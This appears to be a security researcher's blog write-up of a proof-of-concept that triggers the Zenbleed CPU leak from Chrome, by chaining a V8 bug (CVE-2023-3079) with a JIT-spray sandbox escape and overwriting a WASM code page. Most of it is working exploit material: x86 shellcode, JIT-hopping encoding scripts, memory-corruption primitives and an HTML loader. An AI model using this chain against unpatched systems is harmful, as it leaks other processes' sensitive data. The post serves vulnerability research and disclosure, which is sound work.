VU.LS
vu.ls blog
vu.ls blog

Exploiting Zenbleed from Chrome

TRENT NOVELLY | Oct. 10, 2023


In this post I'll describe a proof-of-concept for exploiting Zenbleed from the Chrome browser, built around a V8 vulnerability and using public exploit techniques.

Zenbleed (CVE-2023-20593) is a CPU vulnerability in AMD Processors with the Zen 2 microarchitecture. A quick summary is that a mispredicted vzeroupper instruction can lead to the processor leaking leftover contents in the register file to the wrong process. Zenbleed was discovered by Tavis Ormandy with Project Zero and you can read his excellent write-up on the issue at his blog.

The fact that the register contents are leaked from any process meant that even sandboxed processes could potentially access sensitive information from other processes (or virtual machines!) running on the same physical processor core. One such sandbox I immediately thought of was the renderer sandbox implemented in browsers. Within the renderer sandbox, the component we have the most control over is the Javascript engine. I've already been working with V8 for javascript exploits for a bit, so I chose Chrome/V8 as my primary target platform.

But before continuing, a word of recognition - This work piggybacks off the work of several amazing researchers, and if not for their public research I would not have been able to build this. Specifically, I make use of code samples from @taviso, @mistymntncop and Anvbis, so please follow the links to their work after you read this post.

The Concept

Ideally exploiting Zenbleed would only require running code on a Zen 2 based system. For this to apply to Javascript engines, this would mean that Javascript code somehow made use of the vzeroupper instruction in an exploitable manner.

My co-worker David Warren and I explored whether Javascript engine JIT capabilities, either from optimizing Javascript or compiling WebAssembly (WASM) byte code, could be made to emit vzeroupper. Considering that modern WASM support includes SIMD operations, this was a possibility. Sadly, none of major the Javascript engines appear emit the vulnerable instruction vzeroupper for JIT compiled code. vzeroupper doesn't even make an appearance in the Javascript engine code bases from what we could find. This route was certainly a long shot as even if the vzeroupper instruction was emitted, I expect it would be very difficult to coerce the JIT machine code to exhibit the other conditions required for the leak to occur. (As an aside, we did some uses of vzeroupper in other browser dependencies - just not the JS engine, but those code paths don't seem to be exploitable based on the conditions required for Zenbleed to occur).

This left the option of abusing a vulnerability that could lead to arbitrary code execution. My idea was to use some kind of V8 vulnerability that enabled read/write primitives to copy compiled Zenbleed machine code to an executable memory page to execute it. In order to allow the Javascript to access the leaked data, the Zenbleed code will need to copy it somewhere that the Javascript land expects it. This might seem a little problematic as the Zenbleed code is working with native x86_64 types, and crafting Javascript objects can be tricky. Fortunately V8 Javascript engine helps me out here. Specifically with its WASM support, which I used to easily bridge the x86_64 native types and Javascript types. (I actually get a 2-for-1 deal with WASM here as it also plays a role in the full exploit later)

In the Project Zero proof of concept, the leak code is copying the leaked register contents into an array via pointer access.

extern void zen2_leak_pepo_unrolled(uint64_t value[4]);
zen2_leak_pepo_unrolled:
    %macro zenleak 1
        vpxor       ymm%1, ymm%1            ; clear ymm
        vpcmpistri  xmm%1, xmm%1, byte 0    ; just used for scheduling
        vcvtsi2ss   xmm%1, xmm%1, rax
        vmovupd     ymm%1, ymm%1
        jpe         %%overzero              ; any condition here works
        jpo         %%overzero
        vzeroupper
    %%overzero:
        vptest      ymm%1, ymm%1
        jz          %%nextreg
        vmovupd     [rdi], ymm%1
        jmp         .print
    %%nextreg:
    %endmacro
    xor         rax, rax
.repeat:
    %assign reg 15
    %rep 16
    zenleak reg
    %assign reg reg - 1
    %endrep
    jmp         .repeat
.print:
    ret
    hlt

WebAssembly allows writing C code like the following and compiling it to WASM byte code, which can be run in the Javascript engine. (I just used the WasmFiddle web app to do this.)

void func(unsigned long* var) { 
  *var = 42;
  return;
}

Using WebAssembly in Javascript requires a little bit of scaffolding to set up the WebAssembly objects.

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,134,128,128,128,0,1,96,2,127,127,0,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,102,117,110,99,0,0,10,155,128,128,128,0,1,149,128,128,128,0,0,32,0,32,1,173,55,3,0,32,0,32,1,65,1,106,173,55,3,8,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);

var arr = new Uint8Array(wasmInstance.exports.memory.buffer,0,32);

wasmInstance.exports.func(arr);

When the above code is run under a debugger, the resulting JIT compiled x86_64 native code can be inspected.

push   rbp
mov    rbp,rsp
push   0x8
push   rsi
sub    rsp,0x10
mov    rcx,QWORD PTR [rsi+0x37]
cmp    rsp,QWORD PTR [rcx]
jbe    0x2212419873d
mov    ecx,0x2a
mov    rdx,QWORD PTR [rsi+0x27]
mov    DWORD PTR [rdx+rax*1],ecx
mov    r10,QWORD PTR [rsi+0x87]
sub    DWORD PTR [r10],0x27
js     0x2212419874f
mov    rsp,rbp
pop    rbp
ret

The "ABI" to move the value '42' into the array memory is seen in the highlighted lines. So, "all" that needs to be done is to modify the Zenbleed proof-of-concept assembly to use the WASM JIT compiled machine code "ABI" and swap out that machine code in memory.

After that, there wasn't anything that should have caused problems with the Zenbleed leak code. But because I didn't have a concrete grasp on how all the other moving parts of the Javascript engine and browser would affect the scheduling constraint that Zenbleed had, I wanted to run such a proof-of-concept in a more realistic setting.

Exploiting Easy Mode

Now, I probably could have tested my idea completely from the debugger, but that would either be a fair amount of repeating debugger commands manually if things needed to be tweaked, or scripting the debugger. And if I'm writing script I might as well just do it all from Javascript.

There are two Javascript prerequisites to meet before I can test the idea.

To address the first prerequisite there are two considerations for current and recent V8 releases. The first is reading and writing the underlying Javascript memory. This is achieved with a V8 vulnerability that allows out of bounds access in a Javascript array. The second is writing and reading from arbitrary memory locations. V8 has implemented an additional heap memory sandbox over the past several releases, and it has eliminated several known Javascript exploit primitives.

To test the idea, and for simplicity of an initial proof-of-concept, I chose not to rely on known vulnerabilities and take the "easy mode" path. I used example code from Anvbis to inject a "vulnerability" which enabled the pre-requisite read/write capabilities. I had to port his patches to account for internal V8 API changes, and I've included an updated diff in a Github repository. (That diff was generated from V8 commit c74783f8ec53e16a6aec28aef162569ccc75156a)

Similarly, rather than relying on a real heap sandbox escape, I just disabled the V8 heap sandbox in the test build and left that for a future exercise. This is as simple as setting the appropriate build flag in args.gn to false

v8_enable_sandbox = false

To address the second pre-requisite, WASM RWX memory pages, I actually didnt have to do anything. V8 has implemented WASM W^X protections using Memory Protection Keys, which is a hardware feature that is not supported on AMD Zen 2 processors. On Zen2 processors, WASM code memory pages will be RWX by default. (This is part two of the 2-for-1; the WASM RWX exploit gadget still exists on Zen 2 and older processors.)

Building the PoC

Zenbleed Shellcode

As mentioned above in "The Concept", I identified the prologue and the epilogue of the JIT compiled WASM function from the debugger disassembly dump.

Prologue:

push   rbp
mov    rbp,rsp
push   0x8
push   rsi
sub    rsp,0x10

Epilogue:

mov    rsp,rbp
pop    rbp

Then with those and the necessary write target, I chose one of the Zenbleed implementations from the Project Zero proof-of-concept and made the necessary modifications, hightlighted below.

%ifndef zl_loop_pause
    %define zl_loop_pause 29
%endif

section .text
    global _start

_start:
    push   rbp
    mov    rbp,rsp
    push   0x8
    push   rsi
    sub    rsp,0x10
    mov    rdx, [rsi+0x27]
    %macro zentest 1
        vpxor       ymm%1, ymm%1            ; clear ymm
        vptest      ymm%1, ymm%1            ; just used for scheduling
        times       zl_loop_pause pause
        vcvtsi2ss   xmm%1, xmm%1, rax
        vmovupd     ymm%1, ymm%1
        jpe         %%overzero              ; any condition here works
        jpo         %%overzero
        vzeroupper
    %%overzero:
        vptest      ymm%1, ymm%1
        jz          %%nextreg
        vmovupd     [rdx+rax*1], ymm%1
        jmp        .print
    %%nextreg:
    %endmacro
    vzeroall
    xor         rax, rax
.repeat:
    %assign reg 15
    %rep 16
    zentest reg
    %assign reg reg - 1
    %endrep
    jmp         .repeat
.print:
    mov    rsp,rbp
    pop    rbp
    ret

The assembly above is setup to be easily converted to hex bytes using Makefile scripting such as described by wolfshirtz

The Javascript to store this shellcode is simple.

var shellcode = new Uint8Array([0x55,0x48,0x89,0xe5,0x68,/*...cut...*/,0xec,0x5d,0xc3]);

(The full shellcode can be found in the example code below.)

Exploit Primitives

The Javascript exploit primitives for the injected vulnerability were lifted directly from Anvbis's example code. His code provided the addrof, read, and write primitives for the V8 compressed pointers. I did not need a fakeobj primitive for this proof-of-concept. These primitives are provided in the full proof-of-concept.

To write to the WASM code page, the proof-of-concept required the ability to write to a full 64bit address. For that, I used an old technique where the read/write primitives are used to change the backing store pointer of an ArrayBuffer. For the exploit, I set an ArrayBuffer backing store address to the WASM code page address. In the example code, the WASM code memory address is stored an offset of 0x50 in the wasmInstance object and the ArrayBuffer backing store address is at offset 0x20 in the buf object. These offsets frequently change as the code base is updated, so they need to be determined with a debugger for the specific code revision being targeted.

var buf = new ArrayBuffer(2048);
var view = new DataView(buf);

var rwx = read(addrof(wasmInstance)+0x50n);
write(addrof(buf)+0x20n,rwx);

The WASM code page can then be read/written to via the DataView object. I copied the shellcode from the Uint8Array to the WASM code page in this manner. (Note, this technique can not be used when the V8 heap sandbox is enabled.)

for (let i = 0; i < shellcode.length; i++){
    view.setUint8(i, shellcode[i]);
}

Running the PoC

Then to exploit Zenbleed, the proof-of-concept executed the WASM function in a loop. This now executed the Zenbleed shellcode and not the original 'return 42' logic.

const remove_non_ASCII = str => str.replace(/[^\x20-\x7E]/g, '');
while(true){
  wasmInstance.exports.func(arr);
  let str = remove_non_ASCII(String.fromCharCode.apply(null,arr));
  if(str != "") console.log(str);
}

I used the d8 shell to run the Javascript code and ran the suggested 'activity generator' while-loop from the Project Zero proof-of-concept repository.

And there's definitely data getting leaked to Javascript land that shouldn't be. That's pretty cool!

The full "easy mode" proof-of-concept can be found in the Github repository.

The "Real Deal"

Unfortunately (but really fortunately, or I might not have continued...), attempting to run the "easy mode" proof-of-concept in a custom Chromium build with the patched V8 engine fails due to extra checks triggered by the fake vulnerability. I probably could have figured out a way to test the proof-of-concept in a custom Chromium build, I didn't try too hard to resolve the issue.

Instead, I decided to spend some time re-writing the proof-of-concept to work against an official Chrome build. To do that, I needed a real V8 vulnerability.

The V8 Bug

For that I exploited CVE-2023-3079 using the proof-of-concept developed by @mistymntncop. Their proof-of-concept did most of the heavy lifting when in came to the Javascript exploit primitives. In fact, the proof-of-concept code on Github served as a drop in replacement for Anvbis's example code. It provided an addrof primitive, and the read and write primitives within the V8 heap sandbox.

This blog post isn't going to go into detail about CVE-2023-3079 or how @mistymntncop achieved R/W with it. See their exploit code for details, which have been written up in the comments.

The V8 Sandbox Escape

I chose to exploit Chrome 114.0.5735.90 that was released May 30, 2023, which is the version just prior to the release fixing CVE-2023-3079.

This version was still affected by a known V8 Sandbox escape via manipulating code pointers. If you followed the link to Anvbis's code for the fake vulnerability and read through the article, you'll already be familiar with the technique. If you haven't I'll provide a short overview here.

When the following Javascript gets JIT compiled for optimization

function foo() {
	return [1.1,2.2,3.3];
}

The compiled native code contains some instructions that predictably look like

movq r10,0x3ff199999999999a
vmovq xmm0,r10
vmovsd [rcx+0x7],xmm0
movq r10,0x400199999999999a
vmovq xmm0,r10
vmovsd [rcx+0xf],xmm0
movq r10,0x400a666666666666

Each of those movq instructions provides us with 8 bytes of executable memory that an exploit can control. If machine code is encoded as floats, and the code entry point of a JIT optimized code is changed to point at the start of one of those floats in the JIT instruction sequence, a exploit can craft JIT hopping shellcode to execute arbitrary code - bypassing W^X protections on JIT optimized code memory.

In the target version the pointers to this code memory have not yet been sandboxed, thus providing the necessary V8 heap sandbox escape.

For more details you can read Anvbis's article, or the DiceCTF writeup where the technique originated.

Crafting a JIT Hopping Memory Copy

There's one caveat to the above sandbox escape. That is, it is not by itself a "write primitive" in the way the ArrayBuffer backing store technique is. Instead the arbitrary code execution is used to build a memory copy.

One more constraint to consider is that even though 8 bytes of executable memory are under control, only the first 6 of those bytes are really useable (for all but the last segment). This is because a 2 byte long jump instruction is used to chain the segments together.

This step was the most interesting piece of this whole exercise, so I'll go into depth on my development process and considerations.

The Memory Copy

mov Encoding

I'm not working with shellcode or assembly on a regular basis, so my on-hand assembly knowledge is limited to very simple instructions. As such, my first attempt at crafting shellcode which would write the Zenbleed shellcode to the WASM page was somewhat... convoluted.

I figured out that I could fit a mov instruction which copied two immediate value bytes to a memory address into the 6 byte limit.

mov [reg], 0xAABB

So I experimented with encoding the entire Zenbleed shellcode as a sequence of mov [reg], 0xaabb and add reg, 2 instructions. But ultimately, this idea was not successful.

As the mov chain got longer, the JIT optimized code became somewhat unpredictable. If there were floats in the array with the same value, which inevitably was the case - every add reg, 2 instruction ended up the same - that sequence to build the float array in memory would just copy that value from a register where it was stored instead of using another move instruction. This made it impossible to execute the desired shellcode without the JIT hopping code being corrupted.

rep movs

Fortunately, I have messed around with enough other use cases of assembly to have encountered more "advanced" techniques. And so when my first idea ended up being a failure, I remembered the rep movs instruction. rep movs is an instruction which will copy a number of units specified by the rcx register from the address pointed to by rsi to the address pointed to by rdi. The unit size can be 1, 2, 4, or 8 bytes depending on which reps mov variant is used. In this case I'm going to use the reps movb variant to move 1 byte sized units to keep things simple.

Thus to perform a memory copy of the Zenbleed shellcode to the WASM code memory, there are 4 steps.

  1. set rdi to WASM code memory address
  2. set rsi to some address where the Zenbleed shellcode is stored
  3. set rcx to Zenbleed shellcode length
  4. execute reps movb

Because of the 6 byte instruction limitation, setting the rdi and rsi registers to full 64bit values requires a short sequence:

mov edi, 0xaabbccdd 
mov edx, 0xaabbccdd
shl rdi, 32
or rdi, rdx

For the rsi there is one extra instruction due to how I stored the Zenbleed shellcode.

The Zenbleed shellcode is stored in an ArrayBuffer. I found it easiest to copy the bytes from a Uint8Array to a DataView object, and then access the DataView's ArrayBuffer backing store address for the copy operation.

var code = new Uint8Array([0x55,0x48,0x89,/*...cut...*/,0xec,0x5d,0xc3]);

var buf = new ArrayBuffer(2048);
var shellcode = new DataView(buf);
for(let i = 0; i < code.length; i++)
    shellcode.setUint8(i,code[i]);

The difference with this backing store address and the WASM code page address, is that, when the V8 head sandbox is enabled, the backing store memory address is a sandboxed pointer.

Sandboxed pointers function similar to but not quite the same as the compressed pointers. A sandboxed pointer is a 40bit offset from the sandbox base address, which is stored in memory shifted to the left by 24bits. The real memory address is obtained by adding the 40bit address to the sandbox base address. During runtime, that sandbox base address is stored in the r14 register.

So to obtain the actual address for our memory copy, I first set rsi to the 40bit offset (which has been leaked from memory by the read primitive and right shifted 24 bits), and then add r14 to rsi

mov esi 0xaabbccdd
mov edx, 0xaabbccdd
shl rsi, 32
or rsi, rdx
add rsi, r14

I then set rcx and execute rep movsb

mov ecx, 2048
rep movsb

Shellcode Execution Cleanup

Once the memory copy is completed, the code needs to return to normal Javascript execution. If it just "returns" from the shellcode, it can potentially leave the program execution in an unstable state.

To mitigate this, the program state needs to be restored to what it was before the shellcode ran, and ideally in the state it should be after the original JIT function executes.

This is simple to accomplish. The shellcode just needed to do what any callee does and store the necessary register state to the stack before executing and then pop it back into the registers when it is finished. Then instead of a ret, it jumps back to the start of the original JIT code and just lets that execute. (The offset for the jump was manually determined via the debugger.)

push rdi
push rsi
push rdx
push rcx

;memory copy;

pop rcx
pop rdx
pop rsi
pop rdi
jmp $-code_offset

When that shellcode gets executed I found there was one additional bit of housekeeping that needed to be done. Even with the saved state, the original JIT code was crashing.

When I examined the beginning of the JIT code, I noticed that there's a check done on some memory address offset from whatever was in the rcx register.

0x5645e0006100     0  8b59f4               movl rbx,[rcx-0xc]
0x5645e0006103     3  4903de               REX.W addq rbx,r14
0x5645e0006106     6  f7431700000020       testl [rbx+0x17],0x20000000

When the JIT code is reached after calling the Javascript function, rcx contains the address from the 'code' object.

d8> %DebugPrint(f)
DebugPrint: 0x5480034a755: [Function] in OldSpace
 - map: 0x0548001843e1 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x054800184295 <JSFunction (sfi = 0x548001460c5)>
 - elements: 0x054800000219 <FixedArray[0]> [HOLEY_ELEMENTS]
 - function prototype: <no-prototype-slot>
 - shared_info: 0x0548001a8c99 <SharedFunctionInfo f>
 - name: 0x054800002aa5 <String[1]: #f>
 - formal_parameter_count: 0
 - kind: ArrowFunction
 - context: 0x05480019d979 <ScriptContext[6]>
 - code: 0x0548001a9069 <Code TURBOFAN>
pwndbg> job 0x0548001a9069
0x548001a9069: [Code] in OldSpace
 - map: 0x054800000d9d <Map[60](CODE_TYPE)>
 - kind: TURBOFAN
 - deoptimization_data_or_interpreter_data: 0x0548001a8fe9 <FixedArray[14]>
 - position_table: 0x054800000f6d <ByteArray[0]>
 - instruction_stream: 0x5645e00060f1 <InstructionStream TURBOFAN>
 - instruction_start: 0x5645e0006100
Thread 1 "d8" hit Breakpoint 1, 0x00005645e0006100 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────[ REGISTERS / show-flags off / show-compact-regs off ]────────
*RAX  0x1
*RBX  0x0
*RCX  0x5645e0006100 ◂— mov ebx, dword ptr [rcx - 0xc] /* 0x43f7de0349f4598b */
*RDX  0x54800000251 ◂— 0x1
*RDI  0x5480034a755 ◂— 0x1900000219001843
*RSI  0x5480019d979 ◂— 0x10000000c001917
*R8   0x54800183c2d ◂— 0xc90000023200183c

However, the value that was saved and restored into the rcx register by the JIT shellcode is the "new" entry point.

*RAX  0x1
*RBX  0x0
*RCX  0x5596e0006459 ◂— push rdi /* 0xceb909051525657 */
*RDX  0x2a5900000251 ◂— 0x1
*RDI  0x2a590034ad69 ◂— 0x1900000219001843
*RSI  0x2a590019dad9 ◂— 0x150000000c001917
*R8   0x2a5900183c2d ◂— 0xc90000023200183c

So after restoring rcx from the stack, I needed to adjust rcx by the shellcode entry offset so that the register state was exactly what it would be if the entry_point had never been changed. With that, the "return" jump is successful.

The full memory copy shellcode looks like:

push rdi
push rsi
push rdx
push rcx

mov edi, 0xaabbccdd 
mov edx, 0xaabbccdd
shl rdi, 32
or rdi, rdx

mov esi 0xaabbccdd
mov edx, 0xaabbccdd
shl rsi, 32
or rsi, rdx
add rsi, r14

mov ecx, 2048
rep movsb

pop rcx
pop rdx
pop rsi
pop rdi

sub rcx,0x59

jmp $-code_offset

Calling the JIT optimized function causes the memory copy to execute followed by the original JIT code, meaning the function still returns the float array.

d8>f();
[1.9711826293233279e-246, 1.971025154258119e-246, 1.971260616722001e-246, 1.9711824229537597e-246, 1.9711829000636002e-246, 1.971025153780017e-246, 1.971025153913151e-246, 1.9711824229371098e-246, 1.9995192830149882e-246, 1.9710251538890212e-246, 1.9574404344752258e-246, 1.9711826659395256e-246, 1.971304494057812e-246]

Setting Up the Zenbleed Copy

In the above explanation I left out how to dynamically set the actually value rdi and rsi registers in the memory. The sandbox escape technique relies on JIT optimizing a function returning a float array. And in the examples that float array is hardcoded into the exploits.

But I wanted to be able to "pass in" the read and write addresses to this memory copy. For that I made use of Javascript's eval().

First I converted the assembly to hexadecimal BigInts. I reused Anvbis's python script to generate a the hexadecimal string representation of the shellcode.

from pwn import *

context.arch = "amd64"

def convert(x):
    jmp = b'\xeb\x0c' # jmp 0xe
    return u64(x.ljust(6, b'\x90') + jmp)
    
jit_embed = [
    asm('push rdi;push rsi;push rdx;push rcx'),
    asm('mov edi, 0xaabbccdd'),  
    asm('mov edx, 0xaabbccdd'),
    asm('shl rdi, 32'),
    asm('or rdi, rdx'),
    asm('mov esi, 0xaabbccdd'),
    asm('mov edx, 0xaabbccdd'),
    asm('shl rsi, 32'),
    asm('or rsi, rdx; add rsi, r14'),
    asm('mov ecx, 1024'),
    asm('rep movsb;pop rcx; pop rdx; pop rsi; pop rdi'),
    asm('sub rcx,0x59'),
    asm('jmp $-329'),
]
imm = [convert(x) for x in jit_embed]
hexstr = ""
for i in imm:
    hexstr += hex(i) + "n,"

print(hexstr)

In the Javascript exploit, I used @mistymntncop's exploit primitives to leak the WASM code page address and the ArrayBuffer backing store 40bit offset (making sure to bit shift it) and converted them to padded hexidecimal strings.

var rwx = v8_read64(addr_of(wasmInstance)+0x50n);
var rwxstr = rwx.toString(16);
var pad = "";
for (let i = 0; i < 16-rwxstr.length;i++){
    pad += "0";
}
rwxstr = pad + rwxstr;
console.log(rwxstr);

var raddr = v8_read64(addr_of(buf)+0x20n)>>24n;
var raddrstr = raddr.toString(16);
pad = "";
for (let i = 0; i < 16-raddrstr.length;i++){
    pad += "0";
}
raddrstr = pad + raddrstr;
console.log(raddrstr);

Then I substituted the 0xaabbccdds in the assembly for the appropriate leaked addresses making use of simple string concatenation and Javascript's eval() (A more elegant solution might have been format strings or placeholder values and string replacement - but I'm not a javascript dev)

Using this technique I dynamically created an array of BitInts

let xstr = "var x = [0xceb909051525657n,0xceb90";
xstr += rwxstr.slice(0,8);
xstr += "bfn,0xceb90";
xstr += rwxstr.slice(8);
xstr += "ban,0xceb909020e7c148n,0xceb909090d70948n,0xceb90";
xstr += raddrstr.slice(0,8);
xstr += "ben,0xceb90";
xstr += raddrstr.slice(8);
xstr += "ban,0xceb909020e6c148n,0xcebf6014cd60948n,0xceb900000068db9n,0xceb5f5e5a59a4f3n,0xceb909059e98348n,0xceb90fffffeb2e9n]";
eval(xstr);

Then I dynamically constructed the function definition using the x array. Then a for loop triggers JIT optimization.

let fstr = "var f = () => { return ["
for (let i = 0; i < x.length; i++) {
    fstr += itof(x[i]).toString(),
    fstr += ","
}
fstr += "]}"
eval(fstr);

for(let i = 0; i< 10000; i++) f();

Executing the Memory Copy

Once the copy function has been JIT optimized, triggering the memory copy is a matter of using the exploit primitives to change the JIT code entry point, and then execute the function one more time.

var code = v8_read64(addr_of(f)+0x18n) & 0xFFFFFFFFn
console.log(code.toString(16));

var entry = v8_read64(code+0x10n);
console.log(entry.toString(16));

v8_write64(code+0x10n,entry+0x59n);
f();

Just One More Thing...

As I was debugging the exploit, after triggering the JIT optimization of the copy function, the address for the backing store containing the shellcode would change from what is was when it was leaked. So the now-hardcoded address that was used in the JIT optimized copy shellcode would be wrong. (This didn't always crash the process, since often this memory was still readable.) I suspect this was due to garbage collection getting triggered with the new memory backing the JIT code being allocated.

I happened to know, from previous work experimenting with W^X bypasses, that if there is already JIT optimized code with memory allocated, then follow on JIT optimizations will try to make use of the same memory pages if there is room. So on a hunch, before performing any address leaks, I triggered a JIT optimization of a function that I wouldn't use. Doing this appeared to stabilize the object layout so that the addresses leaked before JIT optimizing the copy function would still be the backing store address when the entry-modified copy function was executed after optimization.

You can see that in the exploit sample.

Running Zenbleed in Chrome

The CVE-2023-3079 based proof-of-concept worked again in the d8 shell, so I wrapped the script in HTML and rendered it in Chrome.

<html>
    <body>
        <p id="leaks"></p>
        <script>
	        /* the rest of the exploit */
	        
			console.log("Running PoC...")
            const remove_non_ASCII = str => str.replace(/[^\x20-\x7E]/g, '');

            function bleed(){
                wasmInstance.exports.func(arr);
                let str = remove_non_ASCII(String.fromCharCode.apply(null,arr));
                if (str != ""){
                    document.getElementById("leaks").innerHTML += (str);
                    document.getElementById("leaks").innerHTML += " ";
                }
                setTimeout(bleed, 0);
            }
            bleed();
        </script>
    </body>
</html

I ran the data generating while-loop and launched Chrome with the exploit file...

And there are bits of /etc/passwd showing up in the browser! (The screen recording is in realtime too.)

The actual data leaked will highly depend on what is running on the system and what core the chrome renderer process is on. On a few of my test runs, the Chrome process didn't see any of the /etc/passwd contents as I was running some other CPU intensive processes that flooded the processor.

Conclusion

With that, I have documented the development of a proof-of-concept exploit for abusing Zenbleed from the Chrome browser. The final exploit makes use of a publicly available proof-of-concept for a triggering V8 vulnerability and then uses publicly documented exploit techniques to trigger the Zenbleed flaw within the sandboxed renderer process. The exploit demonstrates the ability of the Zenbleed vulnerability to leak sensitive data into a sandboxed environment, something that should not be possible.

The full proof-of-concept source code for this project is available in the Vullabs Github repository.